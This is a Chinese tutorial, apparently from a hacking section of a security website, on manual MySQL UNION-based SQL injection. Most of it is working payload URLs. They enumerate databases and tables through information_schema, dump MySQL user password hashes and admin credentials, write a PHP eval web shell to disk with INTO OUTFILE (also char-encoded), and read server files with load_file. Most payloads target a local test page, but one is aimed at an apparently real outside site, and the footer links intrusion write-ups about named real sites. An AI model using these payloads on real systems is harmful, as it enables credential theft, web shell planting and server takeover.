手动mysql 高级注入实例分析

所属分类: 网络安全 / 黑客入侵 阅读数: 223
收藏 0 赞 0 分享
利用Information_schema系统库来注入,配合使用group_concat()函数,group_concat()功能强大,而且能够绕过limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段为 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 统计数据库中又多少个用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 测试过程中只有 root权限或者 全局权限才能爆出所有数据库 普通用户不能爆出所有用户
这样就把mysql服务器所有数据库名字显示出来了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
这样就能把 test 数据库中的 所有表显示出来了。 其中 0x74657374 为 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
这样就把admin表中所有的字段名 显示出来了。

这样注入手法很灵活的。突破了 limit 限制了。
来看下 穿山甲的注入语句



以下部分只有root 权限或者 全局权限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看数据库中有那些用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看对应用户的 密码


通过不断修改limit 2,1达到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通过 limit 一条条记录取出来

或者直接用group_concat()函数 一次显示出来
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的应用 注意路径是 这样的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc码 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的应用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex编码
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相关文件打包下载[用于测试的数据库sql文件与php代码]
更多精彩内容其他人还在看

模拟入侵者检测网络攻击

随着信息技术的发展,越来越多的人都喜欢用计算机办公,发邮件,建设自己的个人站点,公司建立自己的企业站点,也逐渐的采取了网上办公,更好的为人民服务,银行和证券机构也都开始依托互联网来进行金融和股票交易,但是随着方便的同时也同时带来了新的一些计算机网络
收藏 0 赞 0 分享

使用X-window入侵Linux详解(图)

常见的漏洞分为软件漏洞和配置漏洞,软件漏洞的挖掘需要扎实的编程功底和对操作系统原理的深入理解; 配置漏洞通常是由于管理员的自身知识的不足造成的。在 Linux 环境下,X Window 是用来显示图形界面应用程序的底层系统,X Window 服务的认证通常分为 xhos
收藏 0 赞 0 分享

对纵横时空文学站的一次安全检测

纵横时空文学站地址为http://xxx.ouou.com/,是ouou网站下属的一个文学小说的网站。 界面做的非常漂亮. 初步看了下为PHP MYSQL的架构PHP版本为PHP/5.1.4-0.1. 。WEBSERVER使用的是Apache/2.0.55 基于以上几点应该大概能
收藏 0 赞 0 分享

详述php渗透全过程(组图)

最近一直比较关注PHP注射的东西.学习好几天了.也应该实战一下了.目标http://app.xxxx.com .一个市场调查的门户.找注射点嘛,还是要用我们可爱的搜索引擎.为什么可爱呢?一会就知道了.Go Go Go !!!!! 在google中搜索php?id= si
收藏 0 赞 0 分享

入侵chinalinux站点技术指导

 大家都知道,中国有个最大的操作系统软件生产厂家,那就是 chinalinux。很多人都想试图进入其主站点 http://www.chinalinux.com, 因为那将是对自己的一个挑战。终於有一天成功的进入了其主站,在此写出我的过程,以及对常见web服务的安全模型的理解
收藏 0 赞 0 分享

黑客入侵思维官方网站全过程

一直想找个稳定的程序建立一个网站,来到了源码之家,看到一个叫“思维(CMSware)内容管理系”的程序,PHP MYSQL搭建的,看起来还不错。就来到了官方看看程序怎么样。 官方地址:http://www.lonmo.com/,新闻中心那里有一个链接“思维内容管
收藏 0 赞 0 分享

入侵Linux操作系统实例

 我发现了一个网站,于是常规入侵。很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(by the way,这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那它的口令一般也很简单,反之亦然,故且称之为若氏定理吧),
收藏 0 赞 0 分享

局域网入侵完整版

能入侵的只是存在弱口令(用户名为administrator等,密码为空),并且开了139端口,但没开防火墙的机子
收藏 0 赞 0 分享

利用别人的程序再次入侵

(一)--简单上传漏洞 小弟我初次学习黑客技术,苦于找不到师傅,只能自己慢慢的摸来摸去(感觉像xx找不到洞),看着漫天飞舞的黑客,感觉就像看上帝,突然有一天突发奇想,别人既然把某个网站或者某个程序拿下来让大家down,那不就意味着这个程序也许存在着重大的漏
收藏 0 赞 0 分享

入侵过程中的简单任务

很久没有入侵了,手有点痒,随便逛了几个TW的网站想找一个有点的价值的网站玩玩,于是找到了这个网站。 习惯性的,在“报名账号”处填入了一个单引号,返回了如下信息: SQL Server 的 Microsoft OLE DB 提供者 (0x8004
收藏 0 赞 0 分享
查看更多